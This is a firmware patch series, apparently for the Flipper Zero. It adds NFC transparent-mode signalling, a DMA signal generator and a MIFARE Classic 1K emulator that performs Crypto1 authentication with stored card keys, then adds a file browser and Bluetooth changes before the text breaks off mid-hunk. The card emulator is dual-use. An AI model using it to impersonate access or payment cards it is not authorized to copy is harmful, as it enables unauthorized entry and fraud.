0000000000000000000000000000000000000000..300f00128d067e358fc954204533468eb5efd495 GIT binary patch literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}$(}BbAsQ36 zPO{`~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_6.png b/assets/icons/MainMenu/UniversalRemote_14/frame_6.png new file mode 100644 index 0000000000000000000000000000000000000000..24c349ead5a777f2be43ed17b96ef15b58e20cc4 GIT binary patch literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_7.png b/assets/icons/MainMenu/UniversalRemote_14/frame_7.png new file mode 100644 index 0000000000000000000000000000000000000000..d41a66495a6bc1e308e97112671d73ddc495f5e4 GIT binary patch literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk literal 0 HcmV?d00001 diff --git a/firmware/targets/f7/furi_hal/furi_hal_nfc.c b/firmware/targets/f7/furi_hal/furi_hal_nfc.c index 768a4bac7..e6b27573d 100755 --- a/firmware/targets/f7/furi_hal/furi_hal_nfc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_nfc.c @@ -1,9 +1,12 @@ #include "furi_hal_nfc.h" #include +#include #include #include #include -#include + +#include +#include #define TAG "FuriHalNfc" @@ -394,6 +397,80 @@ ReturnCode furi_hal_nfc_data_exchange( return ret; } +static bool furi_hal_nfc_transparent_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { + furi_assert(tx_rx->nfca_signal); + + platformDisableIrqCallback(); + + bool ret = false; + + // Start transparent mode + st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); + // Reconfigure gpio + furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); + furi_hal_gpio_init(&gpio_spi_r_sck, GpioModeInput, GpioPullUp, GpioSpeedLow); + furi_hal_gpio_init(&gpio_spi_r_miso, GpioModeInput, GpioPullUp, GpioSpeedLow); + furi_hal_gpio_init(&gpio_nfc_cs, GpioModeInput, GpioPullUp, GpioSpeedLow); + furi_hal_gpio_init(&gpio_spi_r_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&gpio_spi_r_mosi, false); + + // Send signal + nfca_signal_encode(tx_rx->nfca_signal, tx_rx->tx_data, tx_rx->tx_bits / 8, tx_rx->tx_parity); + digital_signal_send(tx_rx->nfca_signal->tx_signal, &gpio_spi_r_mosi); + furi_hal_gpio_write(&gpio_spi_r_mosi, false); + + // Configure gpio back to SPI and exit transparent + furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); + st25r3916ExecuteCommand(ST25R3916_CMD_UNMASK_RECEIVE_DATA); + + // Manually wait for interrupt + furi_hal_gpio_init(&gpio_rfid_pull, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); + st25r3916ClearAndEnableInterrupts(ST25R3916_IRQ_MASK_RXE); + + uint32_t irq = 0; + uint8_t rxe = 0; + uint32_t start = DWT->CYCCNT; + while(true) { + if(furi_hal_gpio_read(&gpio_rfid_pull) == true) { + st25r3916ReadRegister(ST25R3916_REG_IRQ_MAIN, &rxe); + if(rxe & (1 << 4)) { + irq = 1; + break; + } + } + uint32_t timeout = DWT->CYCCNT - start; + if(timeout / furi_hal_delay_instructions_per_microsecond() > timeout_ms * 1000) { + FURI_LOG_D(TAG, "Interrupt waiting timeout"); + break; + } + } + if(irq) { + uint8_t fifo_stat[2]; + st25r3916ReadMultipleRegisters( + ST25R3916_REG_FIFO_STATUS1, fifo_stat, ST25R3916_FIFO_STATUS_LEN); + uint16_t len = + ((((uint16_t)fifo_stat[1] & ST25R3916_REG_FIFO_STATUS2_fifo_b_mask) >> + ST25R3916_REG_FIFO_STATUS2_fifo_b_shift) + << RFAL_BITS_IN_BYTE); + len |= (((uint16_t)fifo_stat[0]) & 0x00FFU); + uint8_t rx[100]; + st25r3916ReadFifo(rx, len); + + tx_rx->rx_bits = len * 8; + memcpy(tx_rx->rx_data, rx, len); + + ret = true; + } else { + FURI_LOG_E(TAG, "Timeout error"); + ret = false; + } + + st25r3916ClearInterrupts(); + platformEnableIrqCallback(); + + return ret; +} + static uint32_t furi_hal_nfc_tx_rx_get_flag(FuriHalNfcTxRxType type) { uint32_t flags = 0; @@ -405,6 +482,9 @@ static uint32_t furi_hal_nfc_tx_rx_get_flag(FuriHalNfcTxRxType type) { } else if(type == FuriHalNfcTxRxTypeRaw) { flags = RFAL_TXRX_FLAGS_CRC_TX_MANUAL | RFAL_TXRX_FLAGS_CRC_RX_KEEP | RFAL_TXRX_FLAGS_PAR_RX_KEEP | RFAL_TXRX_FLAGS_PAR_TX_NONE; + } else if(type == FuriHalNfcTxRxTypeRxRaw) { + flags = RFAL_TXRX_FLAGS_CRC_TX_MANUAL | RFAL_TXRX_FLAGS_CRC_RX_KEEP | + RFAL_TXRX_FLAGS_PAR_RX_KEEP | RFAL_TXRX_FLAGS_PAR_TX_NONE; } return flags; @@ -470,6 +550,10 @@ bool furi_hal_nfc_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { uint8_t* temp_rx_buff = NULL; uint16_t* temp_rx_bits = NULL; + if(tx_rx->tx_rx_type == FuriHalNfcTxRxTransparent) { + return furi_hal_nfc_transparent_tx_rx(tx_rx, timeout_ms); + } + // Prepare data for FIFO if necessary uint32_t flags = furi_hal_nfc_tx_rx_get_flag(tx_rx->tx_rx_type); if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw) { @@ -502,7 +586,8 @@ bool furi_hal_nfc_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { osDelay(1); } - if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw) { + if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw || + tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRxRaw) { tx_rx->rx_bits = 8 * furi_hal_nfc_bitstream_to_data_and_parity( temp_rx_buff, *temp_rx_bits, tx_rx->rx_data, tx_rx->rx_parity); } else { diff --git a/firmware/targets/furi_hal_include/furi_hal_nfc.h b/firmware/targets/furi_hal_include/furi_hal_nfc.h index 20a469002..860db80de 100755 --- a/firmware/targets/furi_hal_include/furi_hal_nfc.h +++ b/firmware/targets/furi_hal_include/furi_hal_nfc.h @@ -10,6 +10,8 @@ #include #include +#include + #ifdef __cplusplus extern "C" { #endif @@ -39,6 +41,8 @@ typedef enum { FuriHalNfcTxRxTypeRxNoCrc, FuriHalNfcTxRxTypeRxKeepPar, FuriHalNfcTxRxTypeRaw, + FuriHalNfcTxRxTypeRxRaw, + FuriHalNfcTxRxTransparent, } FuriHalNfcTxRxType; typedef bool (*FuriHalNfcEmulateCallback)( @@ -80,6 +84,7 @@ typedef struct { uint8_t rx_parity[FURI_HAL_NFC_PARITY_BUFF_SIZE]; uint16_t rx_bits; FuriHalNfcTxRxType tx_rx_type; + NfcaSignal* nfca_signal; } FuriHalNfcTxRxContext; /** Init nfc diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c new file mode 100644 index 000000000..b9be3b602 --- /dev/null +++ b/lib/digital_signal/digital_signal.c @@ -0,0 +1,173 @@ +#include "digital_signal.h" + +#include +#include +#include +#include + +#define F_TIM (64000000.0) +#define T_TIM (1.0 / F_TIM) + +#define MAX_ARR_BUFF_SIZE (10000) + +// TODO rework with dynamic allocation +static uint32_t digital_signal_arr_buff[MAX_ARR_BUFF_SIZE]; + +DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { + DigitalSignal* signal = malloc(sizeof(DigitalSignal)); + signal->start_level = true; + signal->edges_max_cnt = max_edges_cnt; + signal->edge_timings = malloc(max_edges_cnt * sizeof(float)); + signal->edge_cnt = 0; + + return signal; +} + +void digital_signal_free(DigitalSignal* signal) { + furi_assert(signal); + + free(signal->edge_timings); + free(signal); +} + +bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b) { + furi_assert(signal_a); + furi_assert(signal_b); + + if(signal_a->edges_max_cnt < signal_a->edge_cnt + signal_b->edge_cnt) { + return false; + } + + bool end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); + uint8_t start_copy = 0; + if(end_level == signal_b->start_level) { + if(signal_a->edge_cnt) { + signal_a->edge_timings[signal_a->edge_cnt - 1] += signal_b->edge_timings[0]; + } else { + signal_a->edge_timings[signal_a->edge_cnt] += signal_b->edge_timings[0]; + } + start_copy += 1; + } + memcpy( + &signal_a->edge_timings[signal_a->edge_cnt], + &signal_b->edge_timings[start_copy], + (signal_b->edge_cnt - start_copy) * sizeof(float)); + signal_a->edge_cnt += signal_b->edge_cnt - start_copy; + + return true; +} + +bool digital_signal_get_start_level(DigitalSignal* signal) { + furi_assert(signal); + + return signal->start_level; +} + +uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal) { + furi_assert(signal); + + return signal->edge_cnt; +} + +float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { + furi_assert(signal); + furi_assert(edge_num < signal->edge_cnt); + + return signal->edge_timings[edge_num]; +} + +static void digital_signal_prepare_arr(DigitalSignal* signal, uint32_t* arr) { + float t_signal = 0; + float t_current = 0; + float r = 0; + float r_int = 0; + float r_dec = 0; + + for(size_t i = 0; i < signal->edge_cnt - 1; i++) { + t_signal += signal->edge_timings[i]; + r = (t_signal - t_current) / T_TIM; + r_dec = modff(r, &r_int); + if(r_dec < 0.5f) { + arr[i] = (uint32_t)r_int - 1; + } else { + arr[i] = (uint32_t)r_int; + } + t_current += (arr[i] + 1) * T_TIM; + } +} + +bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { + furi_assert(signal); + furi_assert(gpio); + + // Configure gpio as output + furi_hal_gpio_init(gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + + // Init gpio buffer and DMA channel + uint16_t gpio_reg = gpio->port->ODR; + uint16_t gpio_buff[2]; + if(signal->start_level) { + gpio_buff[0] = gpio_reg | gpio->pin; + gpio_buff[1] = gpio_reg & ~(gpio->pin); + } else { + gpio_buff[0] = gpio_reg & ~(gpio->pin); + gpio_buff[1] = gpio_reg | gpio->pin; + } + LL_DMA_InitTypeDef dma_config = {}; + dma_config.MemoryOrM2MDstAddress = (uint32_t)gpio_buff; + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (gpio->port->ODR); + dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + dma_config.Mode = LL_DMA_MODE_CIRCULAR; + dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_HALFWORD; + dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_HALFWORD; + dma_config.NbData = 2; + dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &dma_config); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + + // Init timer arr register buffer and DMA channel + digital_signal_prepare_arr(signal, digital_signal_arr_buff); + dma_config.MemoryOrM2MDstAddress = (uint32_t)digital_signal_arr_buff; + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + dma_config.Mode = LL_DMA_MODE_NORMAL; + dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + dma_config.NbData = signal->edge_cnt - 2; + dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + dma_config.Priority = LL_DMA_PRIORITY_HIGH; + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &dma_config); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->edge_cnt - 2); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + + // Set up timer + LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); + LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); + LL_TIM_SetPrescaler(TIM2, 0); + LL_TIM_SetAutoReload(TIM2, 10); + LL_TIM_SetCounter(TIM2, 0); + LL_TIM_EnableUpdateEvent(TIM2); + LL_TIM_EnableDMAReq_UPDATE(TIM2); + + // Start transactions + LL_TIM_GenerateEvent_UPDATE(TIM2); // Do we really need it? + LL_TIM_EnableCounter(TIM2); + + while(!LL_DMA_IsActiveFlag_TC2(DMA1)) + ; + + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); + LL_TIM_DisableCounter(TIM2); + LL_TIM_SetCounter(TIM2, 0); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + + return true; +} diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h new file mode 100644 index 000000000..3b3ad77f7 --- /dev/null +++ b/lib/digital_signal/digital_signal.h @@ -0,0 +1,28 @@ +#pragma once + +#include +#include +#include + +#include + +typedef struct { + bool start_level; + uint32_t edge_cnt; + uint32_t edges_max_cnt; + float* edge_timings; +} DigitalSignal; + +DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); + +void digital_signal_free(DigitalSignal* signal); + +bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); + +bool digital_signal_get_start_level(DigitalSignal* signal); + +uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal); + +float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num); + +bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); diff --git a/lib/lib.mk b/lib/lib.mk index cb58fadeb..43f4a1a25 100644 --- a/lib/lib.mk +++ b/lib/lib.mk @@ -95,6 +95,11 @@ C_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.c) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*.cpp) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.cpp) +# Digital signal +CFLAGS += -I$(LIB_DIR)/digital_signal +C_SOURCES += $(wildcard $(LIB_DIR)/digital_signal/*.c) + + # USB Stack CFLAGS += -I$(LIB_DIR)/libusb_stm32/inc C_SOURCES += $(LIB_DIR)/libusb_stm32/src/usbd_stm32wb55_devfs.c diff --git a/lib/nfc_protocols/crypto1.c b/lib/nfc_protocols/crypto1.c index 469b0de09..f08164ba9 100644 --- a/lib/nfc_protocols/crypto1.c +++ b/lib/nfc_protocols/crypto1.c @@ -58,7 +58,7 @@ uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) { return out; } -uint8_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { +uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { furi_assert(crypto1); uint32_t out = 0; for(uint8_t i = 0; i < 32; i++) { diff --git a/lib/nfc_protocols/crypto1.h b/lib/nfc_protocols/crypto1.h index aaa2470c7..07b39c22c 100644 --- a/lib/nfc_protocols/crypto1.h +++ b/lib/nfc_protocols/crypto1.h @@ -16,7 +16,7 @@ uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted); uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted); -uint8_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); +uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); uint32_t crypto1_filter(uint32_t in); diff --git a/lib/nfc_protocols/mifare_classic.c b/lib/nfc_protocols/mifare_classic.c index ace37bff3..087fc74c9 100644 --- a/lib/nfc_protocols/mifare_classic.c +++ b/lib/nfc_protocols/mifare_classic.c @@ -311,3 +311,118 @@ uint8_t mf_classic_read_card( return sectors_read; } + +bool mf_classic_emulator(MfClassicEmulator* emulator, FuriHalNfcTxRxContext* tx_rx) { + furi_assert(emulator); + furi_assert(tx_rx); + + // Get first frame + tx_rx->tx_bits = 0; + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; + furi_hal_nfc_tx_rx(tx_rx, 300); + + // TODO support all commands + uint8_t cmd = tx_rx->rx_data[0]; + if(!(cmd == 0x60 || cmd == 0x61)) { + FURI_LOG_E(TAG, "Unsupported command"); + return false; + } + uint8_t block = tx_rx->rx_data[1]; + uint64_t key = 0; + // TODO Now works only for 1k!!! + uint8_t sector_trailer_block = block | 0x03; + MfClassicSectorTrailer* sector_trailer = + (MfClassicSectorTrailer*)emulator->data.block[sector_trailer_block].value; + if(cmd & 0x01) { + key = nfc_util_bytes2num(sector_trailer->key_b, 6); + } else { + key = nfc_util_bytes2num(sector_trailer->key_a, 6); + } + + uint32_t nonce = prng_successor(DWT->CYCCNT, 32); + uint8_t nt[4]; + uint8_t nt_keystream[4]; + nfc_util_num2bytes(nonce, 4, nt); + nfc_util_num2bytes(nonce ^ emulator->cuid, 4, nt_keystream); + crypto1_init(&emulator->crypto, key); + crypto1_word(&emulator->crypto, emulator->cuid ^ nonce, 0); + + memcpy(tx_rx->tx_data, nt, sizeof(nt)); + tx_rx->tx_bits = sizeof(nt) * 8; + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxRaw; + if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { + FURI_LOG_E(TAG, "Error in 1st data exchange"); + return false; + } + + if(tx_rx->rx_bits != 64) { + FURI_LOG_E(TAG, "Incorrect nr + ar"); + return false; + } + + uint32_t nr = nfc_util_bytes2num(tx_rx->rx_data, 4); + uint32_t ar = nfc_util_bytes2num(&tx_rx->rx_data[4], 4); + crypto1_word(&emulator->crypto, nr, 1); + uint32_t cardRr = ar ^ crypto1_word(&emulator->crypto, 0, 0); + if(cardRr != prng_successor(nonce, 64)) { + FURI_LOG_E(TAG, "Wrong AUTH! %08X != %08X", cardRr, prng_successor(nonce, 64)); + // Don't send NACK, as tag don't send it + return false; + } + + uint32_t ans = prng_successor(nonce, 96); + uint8_t responce[4] = {}; + nfc_util_num2bytes(ans, 4, responce); + tx_rx->tx_parity[0] = 0; + for(uint8_t i = 0; i < 4; i++) { + tx_rx->tx_data[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ responce[i]; + tx_rx->tx_parity[0] |= + (((crypto1_filter(emulator->crypto.odd) ^ nfc_util_odd_parity8(responce[i])) & 0x01) + << (7 - (i & 0x0007))); + } + + tx_rx->tx_bits = 8 * 4; + tx_rx->tx_rx_type = FuriHalNfcTxRxTransparent; + + if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { + FURI_LOG_E(TAG, "Error in 2nd data exchange"); + return false; + } + + uint8_t decrypted_cmd[4] = {}; + for(uint8_t i = 0; i < 4; i++) { + decrypted_cmd[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ tx_rx->rx_data[i]; + } + + // FURI_LOG_I(TAG, "Decrypted: %02X %02X", decrypted_cmd[0], decrypted_cmd[1]); + if(decrypted_cmd[0] != 0x30) { + FURI_LOG_W(TAG, "Not read command"); + return false; + } + uint16_t block_num = decrypted_cmd[1]; + + // Send 0 block + uint8_t block_data[18] = {}; + memcpy(block_data, emulator->data.block[block_num].value, MF_CLASSIC_BLOCK_SIZE); + nfca_append_crc16(block_data, 16); + tx_rx->tx_parity[0] = 0; + tx_rx->tx_parity[1] = 0; + tx_rx->tx_parity[2] = 0; + + for(uint8_t i = 0; i < 18; i++) { + tx_rx->tx_data[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ block_data[i]; + tx_rx->tx_parity[i >> 3] |= + (((crypto1_filter(emulator->crypto.odd) ^ nfc_util_odd_parity8(block_data[i])) & 0x01) + << (7 - (i & 0x0007))); + } + + tx_rx->tx_bits = 18 * 8; + tx_rx->tx_rx_type = FuriHalNfcTxRxTransparent; + + if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { + FURI_LOG_E(TAG, "Error in Block emulation data exchange"); + return false; + } + + return false; +} diff --git a/lib/nfc_protocols/mifare_classic.h b/lib/nfc_protocols/mifare_classic.h index fa778b771..bfb0918c2 100644 --- a/lib/nfc_protocols/mifare_classic.h +++ b/lib/nfc_protocols/mifare_classic.h @@ -65,6 +65,12 @@ typedef struct { MfClassicSectorReader sector_reader[MF_CLASSIC_SECTORS_MAX]; } MfClassicReader; +typedef struct { + uint32_t cuid; + Crypto1 crypto; + MfClassicData data; +} MfClassicEmulator; + bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); bool mf_classic_get_type( @@ -100,3 +106,5 @@ uint8_t mf_classic_read_card( FuriHalNfcTxRxContext* tx_rx, MfClassicReader* reader, MfClassicData* data); + +bool mf_classic_emulator(MfClassicEmulator* emulator, FuriHalNfcTxRxContext* tx_rx); diff --git a/lib/nfc_protocols/nfca.c b/lib/nfc_protocols/nfca.c index 81a6ddfcc..1ee584067 100755 --- a/lib/nfc_protocols/nfca.c +++ b/lib/nfc_protocols/nfca.c @@ -1,11 +1,17 @@ #include "nfca.h" #include #include +#include #define NFCA_CMD_RATS (0xE0U) #define NFCA_CRC_INIT (0x6363) +#define NFCA_F_SIG (13560000.0) +#define NFCA_T_SIG (1.0 / NFCA_F_SIG) + +#define NFCA_SIGNAL_MAX_EDGES (1500) + typedef struct { uint8_t cmd; uint8_t param; @@ -53,3 +59,69 @@ bool nfca_emulation_handler( return sleep; } + +static void nfca_add_bit(DigitalSignal* signal, bool bit) { + if(bit) { + signal->start_level = true; + for(size_t i = 0; i < 7; i++) { + signal->edge_timings[i] = 8 * NFCA_T_SIG; + } + signal->edge_timings[7] = 9 * 8 * NFCA_T_SIG; + signal->edge_cnt = 8; + } else { + signal->start_level = false; + signal->edge_timings[0] = 8 * 8 * NFCA_T_SIG; + for(size_t i = 1; i < 9; i++) { + signal->edge_timings[i] = 8 * NFCA_T_SIG; + } + signal->edge_cnt = 9; + } +} + +static void nfca_add_byte(NfcaSignal* nfca_signal, uint8_t byte, bool parity) { + for(uint8_t i = 0; i < 8; i++) { + if(byte & (1 << i)) { + digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); + } else { + digital_signal_append(nfca_signal->tx_signal, nfca_signal->zero); + } + } + if(parity) { + digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); + } else { + digital_signal_append(nfca_signal->tx_signal, nfca_signal->zero); + } +} + +NfcaSignal* nfca_signal_alloc() { + NfcaSignal* nfca_signal = malloc(sizeof(NfcaSignal)); + nfca_signal->one = digital_signal_alloc(10); + nfca_signal->zero = digital_signal_alloc(10); + nfca_add_bit(nfca_signal->one, true); + nfca_add_bit(nfca_signal->zero, false); + nfca_signal->tx_signal = digital_signal_alloc(NFCA_SIGNAL_MAX_EDGES); + + return nfca_signal; +} + +void nfca_signal_free(NfcaSignal* nfca_signal) { + furi_assert(nfca_signal); + + digital_signal_free(nfca_signal->one); + digital_signal_free(nfca_signal->zero); + free(nfca_signal); +} + +void nfca_signal_encode(NfcaSignal* nfca_signal, uint8_t* data, uint16_t len, uint8_t* parity) { + furi_assert(nfca_signal); + furi_assert(data); + furi_assert(parity); + + nfca_signal->tx_signal->edge_cnt = 0; + nfca_signal->tx_signal->start_level = false; + // Start of frame + digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); + for(size_t i = 0; i < len; i++) { + nfca_add_byte(nfca_signal, data[i], parity[i / 8] & (1 << (7 - (i & 0x07)))); + } +} diff --git a/lib/nfc_protocols/nfca.h b/lib/nfc_protocols/nfca.h index 73e2e65e0..48d980328 100644 --- a/lib/nfc_protocols/nfca.h +++ b/lib/nfc_protocols/nfca.h @@ -3,6 +3,14 @@ #include #include +#include + +typedef struct { + DigitalSignal* one; + DigitalSignal* zero; + DigitalSignal* tx_signal; +} NfcaSignal; + uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len); void nfca_append_crc16(uint8_t* buff, uint16_t len); @@ -12,3 +20,9 @@ bool nfca_emulation_handler( uint16_t buff_rx_len, uint8_t* buff_tx, uint16_t* buff_tx_len); + +NfcaSignal* nfca_signal_alloc(); + +void nfca_signal_free(NfcaSignal* nfca_signal); + +void nfca_signal_encode(NfcaSignal* nfca_signal, uint8_t* data, uint16_t len, uint8_t* parity); From fec75233119a4fbd3aed75881f2e815556e35478 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 19:17:59 +0300 Subject: [PATCH 173/461] upd wplugins --- applications/applications.c | 9 + applications/applications.mk | 6 + applications/bt/bt_service/bt.c | 16 +- applications/bt/bt_service/bt_i.h | 2 + .../file_browser_test/file_browser_app.c | 99 ++++ .../file_browser_test/file_browser_app_i.h | 32 ++ .../scenes/file_browser_scene.c | 30 + .../scenes/file_browser_scene.h | 29 + .../scenes/file_browser_scene_browser.c | 45 ++ .../scenes/file_browser_scene_config.h | 3 + .../scenes/file_browser_scene_result.c | 36 ++ .../scenes/file_browser_scene_start.c | 44 ++ applications/gui/modules/file_browser.c | 532 ++++++++++++++++++ applications/gui/modules/file_browser.h | 39 ++ .../gui/modules/file_browser_worker.c | 420 ++++++++++++++ .../gui/modules/file_browser_worker.h | 57 ++ .../subghz_frequency_analyzer_worker.c | 85 ++- assets/compiled/assets_icons.c | 8 + assets/compiled/assets_icons.h | 2 + assets/icons/Archive/back_10px.png | Bin 0 -> 154 bytes assets/icons/Archive/loading_10px.png | Bin 0 -> 173 bytes firmware/targets/f7/ble_glue/app_conf.h | 2 +- .../targets/f7/ble_glue/battery_service.c | 96 +++- .../targets/f7/ble_glue/battery_service.h | 2 + firmware/targets/f7/ble_glue/serial_service.c | 17 + firmware/targets/f7/furi_hal/furi_hal_bt.c | 6 + .../targets/furi_hal_include/furi_hal_bt.h | 6 + 27 files changed, 1594 insertions(+), 29 deletions(-) create mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c create mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c create mode 100644 applications/gui/modules/file_browser.c create mode 100644 applications/gui/modules/file_browser.h create mode 100644 applications/gui/modules/file_browser_worker.c create mode 100644 applications/gui/modules/file_browser_worker.h create mode 100644 assets/icons/Archive/back_10px.png create mode 100644 assets/icons/Archive/loading_10px.png diff --git a/applications/applications.c b/applications/applications.c index e1e58c327..4e3b8087a 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -47,6 +47,7 @@ extern int32_t vibro_test_app(void* p); extern int32_t bt_hid_app(void* p); extern int32_t battery_test_app(void* p); extern int32_t text_box_test_app(void* p); +extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); @@ -530,6 +531,14 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_FILE_BROWSER_TEST + {.app = file_browser_app, + .name = "File Browser test", + .stack_size = 2048, + .icon = &A_BadUsb_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_BATTERY_TEST {.app = battery_test_app, .name = "Battery Test", diff --git a/applications/applications.mk b/applications/applications.mk index 1e5a22cbb..95f060df6 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -70,6 +70,7 @@ APP_USB_MOUSE = 1 APP_BAD_USB = 1 APP_U2F = 1 APP_UART_ECHO = 1 +APP_FILE_BROWSER_TEST = 1 endif @@ -228,6 +229,11 @@ CFLAGS += -DAPP_KEYPAD_TEST SRV_GUI = 1 endif +APP_FILE_BROWSER_TEST ?= 0 +ifeq ($(APP_FILE_BROWSER_TEST), 1) +CFLAGS += -DAPP_FILE_BROWSER_TEST +SRV_GUI = 1 +endif APP_ACCESSOR ?= 0 ifeq ($(APP_ACCESSOR), 1) diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index 111ebcb24..b14a6c453 100755 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -91,11 +91,19 @@ static void bt_battery_level_changed_callback(const void* _event, void* context) furi_assert(context); Bt* bt = context; + BtMessage message = {}; 